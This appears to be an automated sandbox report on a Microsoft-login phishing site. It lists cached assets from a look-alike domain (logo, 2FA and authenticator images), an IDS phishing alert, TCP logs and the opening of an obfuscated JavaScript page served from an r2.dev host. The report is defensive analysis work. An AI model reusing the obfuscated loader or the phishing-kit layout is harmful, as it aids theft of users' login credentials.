SHA-256:	17ED1ABD0BC3AB387B4741F6C693A148A2EB2FBF6E13B69729E908BAC83E54F6
SHA-512:	EC12A82436378C4FC83474A37575A9B814DC2B226225A07A697BA78F7677C6719C4E265185EAC07A32072D6295B2FC17F10CDE75FF7820D47FEA90C0E5892F10
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...U.........y+......sBIT.....O...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-... .IDATx.....,Z.z......wV..j... ...;.Z.C..Q.%.7................8.............)..@DHl..e4..//.M..]._^_...e.-[.l......5[..@.j7.k...]..^.=".t..}V^...y'.w..]z{....._.#....O..2....dC.^....Ke..2..7...G..!v.F....=..\|>...\|>.....o...o.../oooo...x...q...,.S.G1..........z..H.o[.l.e.-.../...S.S.B=..D...l..n..O./..`../........D.PCA..c.....m=..[~.a..3...y.v...\|>..x.O=T4z.....x<.o........D.8........I....~._...)O..y..-[.l.e......X^..v...k6.....}..#...N.....-g.Bd!...x....3.._.?.stX3R.'eP....k. .T.MN.'.5....C.....!......E.~:..c.........Bv...Ns.....y.G....a...1Q.....x4.@.nTU..~o.?..i..g..g..e.-[.l...E.Zm.L.........O._.t0...^.e.).a.~.W.c...\8...:.`6....I..!l..W.B..YeG........D./...\|...w....A....Q......>......1YB...V.....G.w.$......<..o...1N...t.....[,.h...q..=....TD.DD.....!..@F..s9.....=.S.../...l.e.-[...Pb

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	513
Entropy (8bit):	4.720499940334011
Encrypted:	false
SSDEEP:	12:t4BdU/uRqv6DLfBHKFWJCDLfBSU1pRXIFl+MJ4bADc:t4TU/uRff0EcfIU1XXU+t2c
MD5:	A9CC2824EF3517B6C4160DCF8FF7D410
SHA1:	8DB9AEBAD84CA6E4225BFDD2458FF3821CC4F064
SHA-256:	34F9DB946E89F031A80DFCA7B16B2B686469C9886441261AE70A44DA1DFA2D58
SHA-512:	AA3DDAB0A1CFF9533F9A668ABA4FB5E3D75ED9F8AFF8A1CAA4C29F9126D85FF4529E82712C0119D2E81035D1CE1CC491FF9473384D211317D4D00E0E234AD97F
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944m0-.141-.071.07L5.929,11.929,5.858,12l.071.071,4.944,4.944.071.07.071-.07.594-.595.071-.07-.071-.071L7.858,12.522H18.1V11.478H7.858l3.751-3.757.071-.071-.071-.07-.594-.595-.071-.07Z" fill="#404040"/></svg>

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5421
Entropy (8bit):	7.930688904991097
Encrypted:	false
SSDEEP:	96:SUxJ4nAqKQCa02WVVGaMgWeRVJWiYcfb04mXYUwgPBh2RGKNpEP5O/:vD4nAqKQx02WVV8eRVyGbrUVhp4Ex4
MD5:	6F4395D60BFEA0E5AA9FB9E1945457AE
SHA1:	54124E723872C50889A119F95F31F84F9D092F3A
SHA-256:	930B3261C05DDF41566CA5906F3A5F91A437BF4DE2513A84D5995A8AA1AEC819
SHA-512:	1D682B2CDA1FB730C22A202181047379A8F74DFDFA265F2BDE9E14B5BFF9ADBE8FCE93897F78273A9639072E507DEC38A3C905C18ED694A02ECCB283C3C7130D
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/person_workshcool.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....yIDATx...pU...{.K..G09.@......P(b..[~.f.q..-T......Km..J..n.B..j...".f.."..168......{k.D.!.9..A.BrNr.......3...7..s..y....03E".R.c5M+%.R.c...^ .(.P........h+.v...I..&!D..&...!..40.1I....;..y.r[..03...%f...:.....@..C.0s.....!.w$I.8....jll,.B..`&....pY........0s..i.[RR...5.A....)... .X.....).../...w...C...\|o.H$2Q.;.y>....'IN..!..&I....$./.....M......!...; .C.....^...g.../.2.........DT...h!.m....JJJBn..._.KU...cf^. .m=.q..~.`.,..n...O.+....!~..w!}.......J.T..3<i.O?......?b....s[.Gi..A..V..V....S..Z.\..k..n...D..p.$I.zi..3.F.....7.!nr[.O9.`Y0...m!. ....Y.pxUgg.............W#..(...a......I..n..r-b.B.%.\.1.-L....)..m..8.........~......i.3...URRr..A.5V(.!....89n.......yN.{9f.P(4..^.0.13\B4...-**z....c).2.@.2.r.BM...B.o81...R.e.3. ....+........v.d....T..C... ..BQ.G....83..(.....3X..eY^i. ["...k.1

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (13566)
Category:	dropped
Size (bytes):	208726
Entropy (8bit):	5.884321426250023
Encrypted:	false
SSDEEP:	3072:csJStJxljiZNaIjW4njCT7qIkdAUtN+ek/jSJ:csJStHljiZEIjWcjCTuIkySJ
MD5:	410AE9729E50D26235F2AC0A6097A886
SHA1:	2F1EDCDFC54111940AEC82B792D7C4183AEFFC39
SHA-256:	E0EBB4971953DAE507D8412321944C46D76A16D06C0E2D409F1DC416947C3841
SHA-512:	0EF3CEC22BB1A9856AC80DDE3290C00E031DEF216ABB5229AB3ED6ADDF46DC92B781B765CC1356EE6E96985655CBC0B05C9E0F5D14A267FA9FFCAA938C17264E
Malicious:	false
Reputation:	low
Preview:	<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="Ci2gOtotanwdwYJ6RQFkuw">window._hst=Date.now();performance&&performance.mark&&performance.mark("SearchHeadStart");</script><script nonce="Ci2gOtotanwdwYJ6RQFkuw">(function(){var _g={kEI:'KK8gZ7eTKa3m7_UPtZSh2Ac',kEXPI:'31',kBL:'I5CF',kOPI:89978449};(function(){var a;((a=window.google)==null?0:a.stvsc)?google.kEI=_g.kEI:window.google=_g;}).call(this);})();(function(){google.sn='webhp';google.kHL='en';})();(function(){.var h=this\|\|self;function l(){return window.google!==void 0&&window.google.kOPI!==void 0&&window.google.kOPI!==0?window.google.kOPI:null};var m,n=[];function p(a){for(var b;a&&(!a.getAttribute\|\|!(b=a.getAttribute("eid")));)a=a.parentNode;return b\|\|m}function q(a){for(var b=null;a&&(!a.getAttribute\|\|!

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	810
Entropy (8bit):	7.187349544502698
Encrypted:	false
SSDEEP:	24:bUXUZng5LH6zfAHZburPWCGgooSplizJsiibiRAV:+L5THHZbubBHSpli1Kuy
MD5:	7395C0F4FF10EAED730BFEB5BC576351
SHA1:	530BD55C7133DC2E2EC09099F70401466FAEE30D
SHA-256:	34058A4C997349CD3C91A3BC59BCC82DD6920BD57A555B49875BF71EAE942E2C
SHA-512:	0C75EE8A73AD13AE5F3B095A1E126D5CDF9D20329AFF1374BB79A510146619B5A7D150F08AA61F8DEF1FB4158AB3A99DA79B02102623920E194E91FE5275BEDE
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/message_think.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....vIDATx...1n.A........W.p.X#A..].p.8.'.DH..".Ps...4..K.6".\|..yZk..%...J......................c...v..1.......3N..n=;....Yz..IXD...a.q...w.4M..wX.Z..R.../..4M..q./..Z..........a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......'K...n.a...........s.......i...k{Uk}...E........4M.R..9.....\__.(.\...Y.Qx...R....oV......D...%.6.,Q..(o...~...0.ok.o.\s.....M...8..s..\|.xb..=.%.6u.....mX.j[.a..}.%.>..........z.....R^......p..Xw:..7.4.....U.V...=.%.6u.....mX.j[.a..}.%.>t.....MX..K.a..?.%.>5.....lX..[.a.....v.=]z...................j..........IEND.B`.

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2382
Entropy (8bit):	7.754672982746685
Encrypted:	false
SSDEEP:	48:+L5oHYETJ2a4FFBX5c7x00po9XXNo0CHcTqOdE:SoY8ka4DBX56xiXX+cXdE
MD5:	73C7E94086CFC8822F89EBA198643CEC
SHA1:	BDCDFA0F40602E4AB4C75365E155B6DA308C0CBA
SHA-256:	033AE15F266CA2F0EDB4980492E4E70C5A41FFB87EE9F6DAAEA6A4EF64980034
SHA-512:	CE8C54E849008C4570172755867FF25EA15D0679811116428D74B0AFD5F0E5A665F94F4B785312EA930E5BB22124808A5484C0675508E2F185900650F3BF4AE8
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/auth_number.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx...{l[W......<H.HT.m........,..M...U.A.?..IHU%....&....c+."`.!US.@.T...P.....646&h...TM.....M T...8v.\|?R..=.<.\|.{\|\|n...............................................0.w...N>...&..L.[.~.:.e\|w@...E^0X...E^.j.^......z..F..KE$Y....,.;..\|..c.!YkC..z..K!y.`....y.`....y.`....y.`....y.`....y.`....yQ.....Z..`=.`.XSS.+.......(...u\|.K&..mmmK.`...2.Li....."X.Tj.....n.q.\/....i......U...=.5".TD.Z.....u.jii9.....j.........X,..c>..w.c.'..;.R....N.Ap8....U..B...Z.n][kk..._..1.6...D..+W.<*"K'...Y........A.S,.....KA.l...1..=..MU;. .l...1.:[.`..>.J.^5.\|).....1-..9..ys..vkkk..".U..U..0......>5T..Zz\|\|.LOO...9..".9.q.c>...F......J.......~[D.+"w.=..8....1fE.T.UWW..3.{..iOm{.0...1...]"rS..3....'}5.....d...}i.`..}...WU.OU....U.a.O..o...5.N...>m.....Ri..<.`'....3.o.%=.z@u...y4$"{....p...2....O..7.U....\.p..__

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3716
Entropy (8bit):	7.86008072577244
Encrypted:	false
SSDEEP:	96:SKvJPPPPPB3f4jQ/x7UR9QG+2pJzuLZKbpVmoeT6p6//xdcmCPPPPPd:Xg0p7UR93+CckoXmY0mC
MD5:	C2DCB4821F20ACF4FB2BC036A4FD30A7
SHA1:	67C0AAD8FA08187ADED93059E1868D72D1F60EF4
SHA-256:	2D44C3B13C9057D5EF8DB356F47F29D0A7B79CCCE4A1140018352289CB304336
SHA-512:	1874376CAB836D91115B911BB303DD23B47E13CB0543254DED97D28DFD147F51AC50322D32C96FEB070FE1EBB450386426E2D88FAA7249A344B0227378A4DCAF
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/key_workshcool.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx....p..y...y...$A....S..I.!.k.........M.a..$...4.t...4..?B'C;..fH...-..A.....YNM.3Ih..c.q3....,[.}...R.:..=...................RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..R..i..N...}.F.CD......<.9... .3..t"z..43....y.3........FGG...Wt....x..ND.`.K........@...0..D......X.;J&......M.\|^R...1.......s....2.,.uW....l4.b..&.1w...~e.mo.:n.e"X.R..z.~..[m..d.&...j...D$i....,.uKD..$..y...7U...]H...`............-..`........O..ADG....}..'"K.........sZ+...c.\|......Z..;AG...w...\|A......If~.q.J.\.i+..a.s...&.!........)...qll.h+..v...\|>...F.1K....>".roo..O?........c6....{..^D....s....k.!.:X....C...l..@}....}..T=.R..F..".Gs]4.........qR.dI...u.+..1".Em#"......;m.....>".......g".;.Zm...:YG....AP6.......q.k+...l..v..m...0.l.ROO..vv.Y.z.f.=....l.H.^...;v..UW.\|>....1...f...}...V]..y.k....Ss...j.z]'....V....k.hg....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2382
Entropy (8bit):	7.754672982746685
Encrypted:	false
SSDEEP:	48:+L5oHYETJ2a4FFBX5c7x00po9XXNo0CHcTqOdE:SoY8ka4DBX56xiXX+cXdE
MD5:	73C7E94086CFC8822F89EBA198643CEC
SHA1:	BDCDFA0F40602E4AB4C75365E155B6DA308C0CBA
SHA-256:	033AE15F266CA2F0EDB4980492E4E70C5A41FFB87EE9F6DAAEA6A4EF64980034
SHA-512:	CE8C54E849008C4570172755867FF25EA15D0679811116428D74B0AFD5F0E5A665F94F4B785312EA930E5BB22124808A5484C0675508E2F185900650F3BF4AE8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx...{l[W......<H.HT.m........,..M...U.A.?..IHU%....&....c+."`.!US.@.T...P.....646&h...TM.....M T...8v.\|?R..=.<.\|.{\|\|n...............................................0.w...N>...&..L.[.~.:.e\|w@...E^0X...E^.j.^......z..F..KE$Y....,.;..\|..c.!YkC..z..K!y.`....y.`....y.`....y.`....y.`....y.`....yQ.....Z..`=.`.XSS.+.......(...u\|.K&..mmmK.`...2.Li....."X.Tj.....n.q.\/....i......U...=.5".TD.Z.....u.jii9.....j.........X,..c>..w.c.'..;.R....N.Ap8....U..B...Z.n][kk..._..1.6...D..+W.<*"K'...Y........A.S,.....KA.l...1..=..MU;. .l...1.:[.`..>.J.^5.\|).....1-..9..ys..vkkk..".U..U..0......>5T..Zz\|\|.LOO...9..".9.q.c>...F......J.......~[D.+"w.=..8....1fE.T.UWW..3.{..iOm{.0...1...]"rS..3....'}5.....d...}i.`..}...WU.OU....U.a.O..o...5.N...>m.....Ri..<.`'....3.o.%=.z@u...y4$"{....p...2....O..7.U....\.p..__

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65446)
Category:	downloaded
Size (bytes):	703285
Entropy (8bit):	5.991619434938616
Encrypted:	false
SSDEEP:	12288:uQ+p4zVu0rXHjMeXCTdNB1fCZHJE2dDZ7ZSfFaA3Vqq6Qi1:u52zbjMeSb2HXLvHD1
MD5:	8D6EB6E73E2596575031566178CC276B
SHA1:	F3C7B0508486021F5CB6A4CE101560CC2408BB83
SHA-256:	CB6BDCD74DF04F0ADBEC94C04FBD18A90505F92E3954BCCF8A6AD17CBF27B1A2
SHA-512:	A40288C85C340D607D0B9EA6D9443B20D208386A250C914DE457FFBB6F933704BDB42880C7DE636016306E75279556D763AFDAC4A9C015E195F08A1223F861EE
Malicious:	false
Reputation:	low
URL:	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html
Preview:	<html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"></head>. <body><script>kdbxRvvp='';var _0x520a18=_0x345a,_0x4dc6ab=_0x345a,_0x101c77=_0x345a,_0x1ba364=_0x345a,_0x4462f7=_0x345a,_0x3e8b5b=_0x345a,_0x5a80e6=_0x345a,_0x57466f=_0x345a,_0x4bb4de=_0x345a,_0x369915=_0x345a,_0x38c85b=_0x345a,_0x4bc11a=_0x345a,_0xb0c96f=_0x345a,_0x228918=_0x345a,_0x2a5f48=_0x345a,_0x264493=_0x345a,_0x12095e=_0x345a,_0x82c4e1=_0x345a,_0x55cd4a=_0x345a,_0x4ebc76=_0x345a,_0x37bc17=_0x345a,_0x35ee8f=_0x345a,_0x170593=_0x345a,_0x8bd9c9=_0x345a,_0x2b6e4e=_0x345a,_0x92a475=_0x345a,_0x22e0fc=_0x345a,_0x216153=_0x345a,_0x36758d=_0x345a,_0x243d11=_0x345a,_0x273dde=_0x345a,_0x4d1b62=_0x345a,_0x14203d=_0x345a,_0x27a856=_0x345a,_0x343798=_0x345a,_0x195719=_0x345a,_0x34c983=_0x345a,_0x31c8b0=_0x345a,_0x5e8b68=_0x345a,_0x2afb45=_0x345a,_0x5de422=_0x345a,_0xd7e89d=_0x345a,_0x56f742=_0x345a,_0x2ce8ff=_0x345a,_0x1eb030=_0x345a,_0xdd156c=_0x345a,_0x2fadec=_0x345a,_0x1601ef=

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1552
Entropy (8bit):	7.728798860889317
Encrypted:	false
SSDEEP:	48:QpL5o5suk1KvI0wTsPIbCxl1IuysA5JOAmJ:QBu5XkEIvTsQAvxDAmJ
MD5:	862FA73C33D1B7F380A51B609E3C0766
SHA1:	1B602C442C1F87E2B00CA768D5F986FEE8E4EC2F
SHA-256:	994AC85AF4DB5A2B5F7CE72D4F49C6B1C18C6422C8E57E623A2873BD7599E404
SHA-512:	D3DB66B915BA7E0EA51DAA87CCCB93C9CFC3667E25EF744202EB0491ABA83FA2F274E985A8C0A86E2FE2C820835A82E0F8F11C0116CC9B4E0605789FF0C2CF83
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/microsoft_logo.png/
Preview:	.PNG........IHDR...l.................sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....\IDATh..YM..6...Md..'....o.w......s.."....,.......vS....R..u..D..Dj..'....o3..#...\|....7..q$^o>.._8Z..g.....qj..x...}g..6..[.q<g....!.4M...I.SJ...s.~.8.p#..^.......yDD...;.R.^.W...Q.....PuuOB..r..:......UJ..('.~ ^&I2......0y.k_.B....\.33o....Z.)3..,+..q.C...[......]../_vR.=.!....r ...]...(...h..h...@...a@s.{..}.EQ.....^...=Y.w..9..o.L).9"..Z....U....b....@7..`.eY...Xk'.`.-...3...Y..J.Q ....N...V...)...M.k.:#).2....u].EQ.-D4r}....D4...f.-...@...{.4'.....c..0@..].....o.....GDS.WD.km..b....k...q...%R..f..3.@.4....v..R.y.$...[[.........BTh...q.%.`.~...<....A2....y#...P]}.....B.<Y.{.....D.+..?sk.AD9.)..VJ.<Y.;.\}km%..[ko...Z[......O...D...s"Z..U.$..j...zs.o...G...S.e.o(.....?..8..L.H.....[..;/...v-)e.w.y...e..."z.....z...xBDCf.y{.@k}..h....{tm...@...D..8r.1..r....9.......Eq.......d..!Y....pk.$N........

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3568
Entropy (8bit):	7.9016329579635425
Encrypted:	false
SSDEEP:	96:SOTA4xE7tz73s34BCAdVzqAA1QeTrlvBi/uj3LL:byJc34Maznjenb643
MD5:	8BC112DAA200D63832C66E06404ECC23
SHA1:	EA334D21EE8487B4BDFF46A9140E0AD11FBE7A79
SHA-256:	F25DFD78D4D536460D422EA51153547EDEB12F9662867F8972413972007E35C3
SHA-512:	7215A00057A019370719807B5B9949AF82CD8637B336E5090942F64D56CF7EA840746807E2C9F96E250D84EC67FA28CF0C24712E6CB7D2B1F0ABC175A36DBF29
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....<IDATx..y..U.....$d.`8..p.. \.r..E....8<.@9..P.C..K..!U.".....@!.rI..D.H....BN..r...>w...k...\|...~3.......u..y.~...............@?`..=....V...k....0...V..h.V.......#......3.....,....C......B^.~.......4.. .H..TK..K#.R..>.e.....m.U.\d.W..S.....4y...........~..+...=..B.s.U......8[.+....x....%.D.f...dk@.L.2......($.i=.\|.{.aj.......o.oY.........d.UH.;.#...7.b.....z`,..Z.d+Y.,V...IK....2..,.....~b}Sc...6.U...736.....}...LC2.B......,A....v..H..h.g:4k.1H.jE.../.n.X......M.~...?.....J.v....s.f..D.x(.-.(...)..P.,.}..H.]/....W.m.mXL.a]...w3:........Z..\......._ ....p...s.g.J`H8S......s......_6....($..YE../!........}........w.L..T].FNPk....F....u.R`..d.H....jA...]Go&.<....F... \|.]'..V.\..]....~1x.=.....U?.C..5ZvO..}......r....;.]...L\..s.q...B...rX.{&...O~.......-.......<z.V........<.X.h.^L...k.{t\|....X.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3568
Entropy (8bit):	7.9016329579635425
Encrypted:	false
SSDEEP:	96:SOTA4xE7tz73s34BCAdVzqAA1QeTrlvBi/uj3LL:byJc34Maznjenb643
MD5:	8BC112DAA200D63832C66E06404ECC23
SHA1:	EA334D21EE8487B4BDFF46A9140E0AD11FBE7A79
SHA-256:	F25DFD78D4D536460D422EA51153547EDEB12F9662867F8972413972007E35C3
SHA-512:	7215A00057A019370719807B5B9949AF82CD8637B336E5090942F64D56CF7EA840746807E2C9F96E250D84EC67FA28CF0C24712E6CB7D2B1F0ABC175A36DBF29
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/2fa_authenticator.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....<IDATx..y..U.....$d.`8..p.. \.r..E....8<.@9..P.C..K..!U.".....@!.rI..D.H....BN..r...>w...k...\|...~3.......u..y.~...............@?`..=....V...k....0...V..h.V.......#......3.....,....C......B^.~.......4.. .H..TK..K#.R..>.e.....m.U.\d.W..S.....4y...........~..+...=..B.s.U......8[.+....x....%.D.f...dk@.L.2......($.i=.\|.{.aj.......o.oY.........d.UH.;.#...7.b.....z`,..Z.d+Y.,V...IK....2..,.....~b}Sc...6.U...736.....}...LC2.B......,A....v..H..h.g:4k.1H.jE.../.n.X......M.~...?.....J.v....s.f..D.x(.-.(...)..P.,.}..H.]/....W.m.mXL.a]...w3:........Z..\......._ ....p...s.g.J`H8S......s......_6....($..YE../!........}........w.L..T].FNPk....F....u.R`..d.H....jA...]Go&.<....F... \|.]'..V.\..]....~1x.=.....U?.C..5ZvO..}......r....;.]...L\..s.q...B...rX.{&...O~.......-.......<z.V........<.X.h.^L...k.{t\|....X.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1080
Entropy (8bit):	4.930009947330339
Encrypted:	false
SSDEEP:	12:YyA5m92esAaN090orpHRzVYDndpKmUvn+L5t5VWJ5c5u5m54sp5op5p5e5yLR5uK:YyOm92lhNkHRuSmSnfC3MLu2Y204/z
MD5:	B0D6F602F273AEF991D0106FC3FBD889
SHA1:	9489C6BD28EB2C0F8068D33A804C4795A9CAA4EA
SHA-256:	C9961A396F3A102C2479BFFD68B3B0835A83EB02105762627BCE3DD658F917CD
SHA-512:	8C57FBC8461AC9799D46633E3A0ABFC80C74DB53C28C5AAABD8EA7129E577EEDB32D3AE78E35CEE3D5B10BBD3210CC61C1A8FC02BF6A976D7A9050AF28D563EA
Malicious:	false
Reputation:	low
Preview:	{"ipVersion":4,"ipAddress":"173.254.250.72","latitude":32.814899,"longitude":-96.879204,"countryName":"United States of America","countryCode":"US","timeZone":"-05:00","zipCode":"75247","cityName":"Dallas","regionName":"Texas","isProxy":true,"continent":"Americas","continentCode":"AM","currency":{"code":"USD","name":"US Dollar"},"language":"English","timeZones":["America\/Adak","America\/Anchorage","America\/Boise","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome","America\/North_Dakota\/Beulah","America\/North_Dakota\/Center","America\/North_Dakota\/New_Salem","America\/P

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T10:47:11.117079+0100	2047978	ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1	2	192.168.2.4	49756	104.21.57.143	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 10:46:38.750391960 CET	49675	443	192.168.2.4	173.222.162.32
Oct 29, 2024 10:46:41.744848013 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:41.744896889 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:41.744951963 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:41.745168924 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:41.745196104 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:41.745254993 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:41.745436907 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:41.745455027 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:41.745582104 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:41.745592117 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.804711103 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.805072069 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:42.805089951 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.808065891 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.808597088 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:42.808623075 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.809463024 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.809540033 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:42.809596062 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.809644938 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:42.813600063 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:42.813793898 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.814341068 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:42.814399958 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.814634085 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:42.814641953 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.861519098 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:42.861524105 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:42.861541986 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:42.905138969 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.023108006 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.023338079 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.023487091 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.023497105 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.023519039 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.023619890 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.023628950 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.023797035 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.023848057 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.023854971 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.023947954 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.023993969 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.024008036 CET	443	49736	172.66.0.235	192.168.2.4
